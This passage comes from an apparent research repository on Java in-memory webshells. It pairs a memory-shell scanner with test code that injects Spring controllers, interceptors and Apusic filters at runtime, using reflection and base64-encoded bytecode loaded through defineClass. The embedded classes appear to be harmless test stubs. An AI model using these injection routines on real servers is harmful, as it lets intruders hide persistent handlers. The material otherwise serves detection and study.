mv.visitInsn(ICONST_1); 115 | mv.visitInsn(IRETURN); 116 | } 117 | 118 | /** 119 | * 传入下一个 Valve 并 return 120 | * Tomcat Valve 内存马可以这么做 121 | * this.getNext().invoke($1,$2);return; 122 | */ 123 | public void hookValve() { 124 | mv.visitVarInsn(ALOAD, 0); 125 | mv.visitMethodInsn(INVOKEVIRTUAL, "org/apache/catalina/Valve", "getNext", "()Lorg/apache/catalina/Valve;", false); 126 | mv.visitVarInsn(ALOAD, 1); 127 | mv.visitVarInsn(ALOAD, 2); 128 | mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve", "invoke", "(Lorg/apache/catalina/connector/Request;Lorg/apache/catalina/connector/Response;)V", true); 129 | mv.visitInsn(RETURN); 130 | } 131 | 132 | /** 133 | * 调用 super 并返回 134 | * Grizzly Filter 内存马可以这么做 135 | * return super.handleRead($1); 136 | */ 137 | public void hookGrizzly() { 138 | mv.visitVarInsn(ALOAD, 0); 139 | mv.visitVarInsn(ALOAD, 1); 140 | mv.visitMethodInsn(INVOKESPECIAL, "org/glassfish/grizzly/filterchain/BaseFilter", "handleRead", "(Lorg/glassfish/grizzly/filterchain/FilterChainContext;)Lorg/glassfish/grizzly/filterchain/NextAction;", false); 141 | mv.visitInsn(ARETURN); 142 | } 143 | } -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/common/MemoryShellType.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner.common; 2 | 3 | /** 4 | * @author su18 5 | */ 6 | public enum MemoryShellType { 7 | /** 8 | * 内存马类型 9 | */ 10 | SERVLET("javax.servlet.Servlet", "service"), 11 | FILTER("javax.servlet.Filter", "doFilter"), 12 | LISTENER("javax.servlet.ServletRequestListener", "request"), 13 | INTERCEPTOR("org.springframework.web.servlet.HandlerInterceptor", "preHandle"), 14 | CONTROLLER("org.springframework.stereotype.Controller", "null"), 15 | VALVE("org.apache.catalina.Valve", "invoke"), 16 | GRIZZLY("org.glassfish.grizzly.filterchain.Filter", "handle"); 17 | 18 | 19 | /** 20 | * hook 类型 21 | */ 22 | private final String hook; 23 | 24 | /** 25 | * hook 方法 26 | */ 27 | private final String method; 28 | 29 | 30 | MemoryShellType(String hookClass, String hookMethod) { 31 | this.hook = hookClass; 32 | this.method = hookMethod; 33 | } 34 | 35 | public String getHook() { 36 | return hook; 37 | } 38 | 39 | public String getMethod() { 40 | return method; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/utils/ClassUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner.utils; 2 | 3 | import org.apache.commons.io.IOUtils; 4 | import org.objectweb.asm.ClassReader; 5 | import org.objectweb.asm.Opcodes; 6 | 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | import java.lang.annotation.Annotation; 10 | import java.net.URL; 11 | import java.util.*; 12 | 13 | import static org.su18.memshell.loader.commons.Constants.AGENT_NAME; 14 | 15 | /** 16 | * @author su18 17 | */ 18 | public class ClassUtils { 19 | 20 | /** 21 | * 转换成Java内部命名方式 22 | * 23 | * @param className 类名 24 | * @return Java类格式的类名称 25 | */ 26 | public static String toJavaName(String className) { 27 | return className.replace("/", "."); 28 | } 29 | 30 | 31 | /** 32 | * 获取用于ASM调用的类名称 33 | * 34 | * @param className 类名 35 | * @return ASM格式的Java类名称 36 | */ 37 | public static String toAsmClassName(String className) { 38 | return className.replace(".", "/"); 39 | } 40 | 41 | 42 | /** 43 | * 获取一个类的所有父类和实现的接口 44 | * 45 | * @param clazz 类 46 | * @param classLoader 类加载 47 | * @return 父类集合 48 | */ 49 | public static Set getSuperClassListByAsm(Class clazz, ClassLoader classLoader) { 50 | Set superClassList = new LinkedHashSet(); 51 | String objectClassName = Object.class.getName(); 52 | 53 | // 先使用 class 获取接口 54 | getAllFather(clazz, superClassList); 55 | 56 | try { 57 | getSuperClassListByAsm(clazz.getName(), classLoader, superClassList); 58 | 59 | // 把Object的位置放到最后,方便父类检测 60 | for (Iterator it = superClassList.iterator(); it.hasNext(); ) { 61 | String name = it.next(); 62 | 63 | if (objectClassName.equals(name)) { 64 | it.remove(); 65 | } 66 | } 67 | 68 | superClassList.add(objectClassName); 69 | } catch (Exception e) { 70 | e.printStackTrace(); 71 | } 72 | 73 | return superClassList; 74 | } 75 | 76 | public static Set getSuperClassListByAsm(String className, ClassLoader classLoader) { 77 | Set superClassList = new LinkedHashSet(); 78 | String objectClassName = Object.class.getName(); 79 | 80 | try { 81 | getSuperClassListByAsm(className, classLoader, superClassList); 82 | 83 | // 把Object的位置放到最后,方便父类检测 84 | for (Iterator it = superClassList.iterator(); it.hasNext(); ) { 85 | String name = it.next(); 86 | 87 | if (objectClassName.equals(name)) { 88 | it.remove(); 89 | } 90 | } 91 | 92 | superClassList.add(objectClassName); 93 | } catch (Exception e) { 94 | e.printStackTrace(); 95 | } 96 | 97 | return superClassList; 98 | } 99 | 100 | /** 101 | * 获取一个类的所有父类和实现的接口 102 | * 103 | * @param className 类名 104 | * @param loader 类加载器 105 | * @param superClassList 父类集合 106 | */ 107 | public static void getSuperClassListByAsm(String className, ClassLoader loader, Set superClassList) { 108 | if (className != null) { 109 | try { 110 | // 如果传入类加载器为空,默认使用SystemClassLoader 111 | if (loader == null) { 112 | loader = ClassLoader.getSystemClassLoader(); 113 | } 114 | 115 | superClassList.add(className); 116 | byte[] classBytes = getClassBytes(className, loader); 117 | 118 | // 忽略无法找到类字节码的class 119 | if (classBytes != null) { 120 | ClassReader classReader = new ClassReader(classBytes); 121 | 122 | // 父类 123 | String superClass = classReader.getSuperName(); 124 | // 父接口 125 | String[] interfaces = classReader.getInterfaces(); 126 | 127 | List ls = new ArrayList(); 128 | 129 | // 添加父类 130 | if (superClass != null) { 131 | ls.add(superClass); 132 | } 133 | 134 | // 添加父类的所有接口 135 | Collections.addAll(ls, interfaces); 136 | 137 | // 遍历所有父类和接口 138 | for (String clazz : ls) { 139 | getSuperClassListByAsm(toJavaName(clazz), loader, superClassList); 140 | } 141 | } 142 | } catch (Exception e) { 143 | System.err.println(AGENT_NAME + "获取" + className + "类的父类异常"); 144 | e.printStackTrace(); 145 | } 146 | } 147 | } 148 | 149 | /** 150 | * 查找类对象,获取类字节码 151 | * 152 | * @param className 类名 153 | * @param classLoader 类加载器 154 | * @return 类字节码数组 155 | */ 156 | public static byte[] getClassBytes(String className, ClassLoader classLoader) { 157 | InputStream in = null; 158 | 159 | try { 160 | if (className.startsWith("[")) { 161 | return null; 162 | } 163 | 164 | String classRes = toAsmClassName(className) + ".class"; 165 | 166 | in = ClassLoader.getSystemResourceAsStream(classRes); 167 | 168 | if (classLoader != null && in == null) { 169 | in = classLoader.getResourceAsStream(classRes); 170 | } 171 | 172 | if (in != null) { 173 | return IOUtils.toByteArray(in); 174 | } 175 | return null; 176 | } catch (IOException e) { 177 | return null; 178 | } finally { 179 | IOUtils.closeQuietly(in); 180 | } 181 | } 182 | 183 | 184 | /** 185 | * 打印 Class 信息 186 | * 187 | * @param clazz Class 类 188 | * @return 返回字符串 189 | */ 190 | public static String getClassInfo(Class clazz) { 191 | 192 | return String.format("|%80s|\n", "||||| Class Details |||||") + 193 | String.format("|%-80s|\n", " Class Name:" + clazz.getName()) + 194 | String.format("|%-80s|\n", " Class Loader:" + clazz.getClassLoader().getClass().getName()) + 195 | String.format("|%-80s|\n", " Resource Url:" + clazz.getClassLoader().getResource(clazz.getName())) + 196 | String.format("|%-80s|\n", " Interfaces name:" + 197 | (clazz.getInterfaces().length > 0 ? clazz.getInterfaces()[0].getName() : "")) + 198 | String.format("|%-80s|\n", " Super Class Name:" + clazz.getSuperclass().getName()) + 199 | String.format("|----------%70s|\n", "----------"); 200 | } 201 | 202 | /** 203 | * 判断目标类是否使用 List 中的注解 204 | * 205 | * @param clazz Class 206 | * @param annotations 注解 List 207 | * @return 返回布尔值 208 | */ 209 | public static Boolean isUseAnnotations(Class clazz, List annotations) { 210 | try { 211 | Annotation[] da = clazz.getDeclaredAnnotations(); 212 | if (da.length > 0) { 213 | for (Annotation annotation : da) { 214 | for (String aa : annotations) { 215 | if (annotation.annotationType().getName().equals(aa)) { 216 | return true; 217 | } 218 | } 219 | } 220 | } 221 | } catch (Throwable ignored) { 222 | 223 | } 224 | return false; 225 | } 226 | 227 | /** 228 | * 检查目标类是否存在对应的 Resource 229 | * 230 | * @param clazz Class 231 | * @return 返回布尔值 232 | */ 233 | public static Boolean checkClassIsNotExists(Class clazz) { 234 | 235 | String className = clazz.getName(); 236 | String classNamePath = className.replace(".", "/") + ".class"; 237 | ClassLoader loader = clazz.getClassLoader(); 238 | if (loader == null) { 239 | loader = ClassLoader.getSystemClassLoader(); 240 | } 241 | 242 | URL isExists = loader.getResource(classNamePath); 243 | if (isExists == null) { 244 | return Boolean.TRUE; 245 | } 246 | 247 | return Boolean.FALSE; 248 | 249 | } 250 | 251 | public static void getAllFather(Class clazz, Set set) { 252 | Class[] interfaces = clazz.getInterfaces(); 253 | Class superClass = clazz.getSuperclass(); 254 | 255 | if (superClass != null) { 256 | set.add(superClass.getName()); 257 | getAllFather(superClass, set); 258 | } 259 | 260 | for (Class anInterface : interfaces) { 261 | set.add(anInterface.getName()); 262 | getAllFather(anInterface, set); 263 | } 264 | } 265 | } 266 | 267 | -------------------------------------------------------------------------------- /memshell-spring/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | MemoryShell 7 | org.su18 8 | 1.0.0 9 | 10 | 4.0.0 11 | 12 | memshell-spring 13 | 14 | 15 | 16 | org.springframework 17 | spring-webmvc 18 | 5.2.3.RELEASE 19 | 20 | 21 | javax.servlet 22 | javax.servlet-api 23 | 3.1.0 24 | provided 25 | 26 | 27 | 28 | 29 | 8 30 | 8 31 | 32 | 33 | -------------------------------------------------------------------------------- /memshell-spring/src/main/java/org/su18/memshell/spring/controller/AddController.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.spring.controller; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.GetMapping; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.context.WebApplicationContext; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.context.request.ServletRequestAttributes; 9 | import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; 10 | import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; 11 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo; 12 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 13 | import org.springframework.web.servlet.support.RequestContextUtils; 14 | 15 | import javax.servlet.http.HttpServletRequest; 16 | import javax.servlet.http.HttpServletResponse; 17 | import java.lang.reflect.Field; 18 | import java.lang.reflect.Method; 19 | import java.util.Map; 20 | 21 | import static org.su18.memshell.spring.controller.DynamicUtils.CONTROLLER_CLASS_STRING; 22 | 23 | /** 24 | * 访问此接口动态添加 controller 25 | * 26 | * @author su18 27 | */ 28 | @Controller 29 | @RequestMapping(value = "/add") 30 | public class AddController { 31 | 32 | @GetMapping() 33 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { 34 | 35 | final String controllerPath = "/su18"; 36 | 37 | // 获取当前应用上下文 38 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); 39 | 40 | // 通过 context 获取 RequestMappingHandlerMapping 对象 41 | RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); 42 | 43 | // 获取父类的 MappingRegistry 属性 44 | Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); 45 | f.setAccessible(true); 46 | Object mappingRegistry = f.get(mapping); 47 | 48 | // 反射调用 MappingRegistry 的 register 方法 49 | Class c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); 50 | 51 | Method[] ms = c.getDeclaredMethods(); 52 | 53 | // 判断当前路径是否已经添加 54 | Field field = c.getDeclaredField("urlLookup"); 55 | field.setAccessible(true); 56 | 57 | Map urlLookup = (Map) field.get(mappingRegistry); 58 | for (String urlPath : urlLookup.keySet()) { 59 | if (controllerPath.equals(urlPath)) { 60 | response.getWriter().println("controller url path exist already"); 61 | return; 62 | } 63 | } 64 | 65 | // 初始化一些注册需要的信息 66 | PatternsRequestCondition url = new PatternsRequestCondition(controllerPath); 67 | RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); 68 | RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null); 69 | 70 | Class myClass = DynamicUtils.getClass(CONTROLLER_CLASS_STRING); 71 | 72 | for (Method method : ms) { 73 | if ("register".equals(method.getName())) { 74 | // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index 75 | method.setAccessible(true); 76 | method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]); 77 | response.getWriter().println("spring controller add"); 78 | } 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /memshell-spring/src/main/java/org/su18/memshell/spring/controller/AddInterceptor.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.spring.controller; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.GetMapping; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.context.WebApplicationContext; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.context.request.ServletRequestAttributes; 9 | import org.springframework.web.servlet.HandlerInterceptor; 10 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 11 | import org.springframework.web.servlet.support.RequestContextUtils; 12 | 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import java.lang.reflect.Field; 16 | import java.util.List; 17 | 18 | import static org.su18.memshell.spring.controller.DynamicUtils.INTERCEPTOR_CLASS_STRING; 19 | 20 | /** 21 | * 访问此接口动态添加 Interceptor 22 | * 23 | * @author su18 24 | */ 25 | @Controller 26 | @RequestMapping(value = "/addInterceptor") 27 | public class AddInterceptor { 28 | 29 | @GetMapping() 30 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { 31 | 32 | // 获取当前应用上下文 33 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); 34 | 35 | // 通过 context 获取 RequestMappingHandlerMapping 对象 36 | RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); 37 | 38 | // 为什么写三个 getSuperclass ?就是玩~ 39 | Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors"); 40 | f.setAccessible(true); 41 | List list = (List) f.get(mapping); 42 | list.add((HandlerInterceptor) DynamicUtils.getClass(INTERCEPTOR_CLASS_STRING).newInstance()); 43 | response.getWriter().println("interceptor added"); 44 | 45 | 46 | } 47 | } -------------------------------------------------------------------------------- /memshell-spring/src/main/java/org/su18/memshell/spring/controller/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.spring.controller; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | 15 | public static String CONTROLLER_CLASS_STRING = "yv66vgAAADQALQoABgAeCwAfACAIACEKACIAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAvTG9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0Q29udHJvbGxlcjsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAKRXhjZXB0aW9ucwcAJgEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL0dldE1hcHBpbmc7AQAKU291cmNlRmlsZQEAE1Rlc3RDb250cm9sbGVyLmphdmEBACtMb3JnL3NwcmluZ2ZyYW1ld29yay9zdGVyZW90eXBlL0NvbnRyb2xsZXI7AQA4TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZzsBAAV2YWx1ZQEABS9zdTE4DAAHAAgHACcMACgAKQEADXN1MTggaXMgaGVyZX4HACoMACsALAEALW9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0Q29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAEQALAAAADAABAAAABQAMAA0AAAABAA4ADwADAAkAAABOAAIAAwAAAAwsuQACAQASA7YABLEAAAACAAoAAAAKAAIAAAAVAAsAFgALAAAAIAADAAAADAAMAA0AAAAAAAwAEAARAAEAAAAMABIAEwACABQAAAAEAAEAFQAWAAAABgABABcAAAACABgAAAACABkAFgAAABIAAgAaAAAAGwABABxbAAFzAB0="; 16 | 17 | public static String INTERCEPTOR_CLASS_STRING = "yv66vgAAADQAKwoABgAbCwAcAB0IAB4KAB8AIAcAIQcAIgcAIwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAwTG9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0SW50ZXJjZXB0b3I7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAJAEAClNvdXJjZUZpbGUBABRUZXN0SW50ZXJjZXB0b3IuamF2YQwACAAJBwAlDAAmACcBABBpJ20gaW50ZXJjZXB0b3J+BwAoDAApACoBAC5vcmcvc3UxOC9tZW1zaGVsbC9zcHJpbmcvb3RoZXIvVGVzdEludGVyY2VwdG9yAQAQamF2YS9sYW5nL09iamVjdAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgABAAcAAAACAAEACAAJAAEACgAAAC8AAQABAAAABSq3AAGxAAAAAgALAAAABgABAAAACwAMAAAADAABAAAABQANAA4AAAABAA8AEAACAAoAAABZAAIABAAAAA0suQACAQASA7YABASsAAAAAgALAAAACgACAAAADwALABAADAAAACoABAAAAA0ADQAOAAAAAAANABEAEgABAAAADQATABQAAgAAAA0AFQAWAAMAFwAAAAQAAQAYAAEAGQAAAAIAGg=="; 18 | 19 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 20 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 21 | BASE64Decoder base64Decoder = new BASE64Decoder(); 22 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 23 | 24 | Method method = null; 25 | Class clz = loader.getClass(); 26 | while (method == null && clz != Object.class) { 27 | try { 28 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 29 | } catch (NoSuchMethodException ex) { 30 | clz = clz.getSuperclass(); 31 | } 32 | } 33 | 34 | if (method != null) { 35 | method.setAccessible(true); 36 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 37 | } 38 | 39 | return null; 40 | 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /memshell-spring/src/main/java/org/su18/memshell/spring/controller/IndexController.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.spring.controller; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.GetMapping; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | 10 | /** 11 | * spring index controller 12 | * 13 | * @author su18 14 | */ 15 | @Controller 16 | @RequestMapping(value = "/index") 17 | public class IndexController { 18 | 19 | @GetMapping() 20 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { 21 | response.getWriter().println("spring index controller"); 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /memshell-spring/web/WEB-INF/applicationContext.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | -------------------------------------------------------------------------------- /memshell-spring/web/WEB-INF/dispatcher-servlet.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /memshell-spring/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | contextConfigLocation 8 | /WEB-INF/applicationContext.xml 9 | 10 | 11 | org.springframework.web.context.ContextLoaderListener 12 | 13 | 14 | dispatcher 15 | org.springframework.web.servlet.DispatcherServlet 16 | 17 | contextConfigLocation 18 | WEB-INF/dispatcher-servlet.xml 19 | 20 | 1 21 | 22 | 23 | dispatcher 24 | / 25 | 26 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/AddApusicFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.apusic; 2 | 3 | import com.apusic.deploy.runtime.FilterMapping; 4 | import com.apusic.deploy.runtime.FilterModel; 5 | import com.apusic.deploy.runtime.WebModule; 6 | import com.apusic.web.container.WebContainer; 7 | 8 | import javax.servlet.Filter; 9 | import javax.servlet.ServletException; 10 | import javax.servlet.http.HttpServlet; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.IOException; 14 | import java.lang.reflect.Constructor; 15 | import java.lang.reflect.Field; 16 | import java.lang.reflect.Method; 17 | import java.util.Map; 18 | 19 | import static org.su18.memshell.test.apusic.DynamicUtils.FILTER_CLASS_STRING; 20 | 21 | /** 22 | * AAS ≈ GlassFish ,在其基础上稍微改改 23 | * 测试版本 AAS Enterprise Edition 9.0 24 | * 25 | * @author su18 26 | */ 27 | public class AddApusicFilter extends HttpServlet { 28 | 29 | @Override 30 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 31 | 32 | String filterName = "su18ApusicFilter"; 33 | WebContainer context = (WebContainer) req.getServletContext(); 34 | 35 | try { 36 | Field f = context.getClass().getDeclaredField("webapp"); 37 | f.setAccessible(true); 38 | WebModule webapp = (WebModule) f.get(context); 39 | 40 | Class filterClass = DynamicUtils.getClass(FILTER_CLASS_STRING); 41 | 42 | FilterModel model = new FilterModel(webapp); 43 | model.setFilterClass(filterClass.getName()); 44 | model.setDisplayName(filterName); 45 | model.setInstance((Filter) filterClass.newInstance()); 46 | model.setName(filterName); 47 | webapp.addFilter(model); 48 | 49 | Field f2 = webapp.getClass().getDeclaredField("filters"); 50 | f2.setAccessible(true); 51 | Map map = (Map) f2.get(webapp); 52 | 53 | 54 | map.put(filterName, model); 55 | 56 | // 创建 FilterMap 对象 57 | FilterMapping filterMap = new FilterMapping(); 58 | filterMap.setFilterName(filterName); 59 | filterMap.setUrlPattern("/*"); 60 | filterMap.setServletName("IndexServlet"); 61 | 62 | webapp.addFilterMapping(filterMap); 63 | 64 | 65 | Field f4 = context.getClass().getDeclaredField("filters"); 66 | f4.setAccessible(true); 67 | Map mapp = (Map) f4.get(context); 68 | 69 | Class c1 = Class.forName("com.apusic.web.container.FilterComponent"); 70 | Constructor constructor = c1.getDeclaredConstructors()[0]; 71 | constructor.setAccessible(true); 72 | 73 | mapp.put(filterName, constructor.newInstance(context, model)); 74 | 75 | Field f3 = context.getClass().getDeclaredField("filterMapper"); 76 | f3.setAccessible(true); 77 | Object mapper = f3.get(context); 78 | 79 | Class c = Class.forName("com.apusic.web.container.FilterMapper"); 80 | Field f5 = c.getDeclaredField("patternMappings"); 81 | f5.setAccessible(true); 82 | Object[] mappings = (Object[]) f5.get(mapper); 83 | 84 | Class c3 = Class.forName("com.apusic.web.container.FilterMapper$Mapping"); 85 | Constructor constructor1 = c3.getDeclaredConstructors()[0]; 86 | constructor1.setAccessible(true); 87 | Object o = constructor1.newInstance(filterName, 2); 88 | 89 | Method m = c3.getDeclaredMethod("setUrlPattern", String.class); 90 | m.setAccessible(true); 91 | m.invoke(o, "/*"); 92 | 93 | mappings[0] = o; 94 | 95 | resp.getWriter().println("apusic filter added"); 96 | 97 | } catch (Exception e) { 98 | e.printStackTrace(); 99 | } 100 | 101 | } 102 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.apusic; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | 15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAg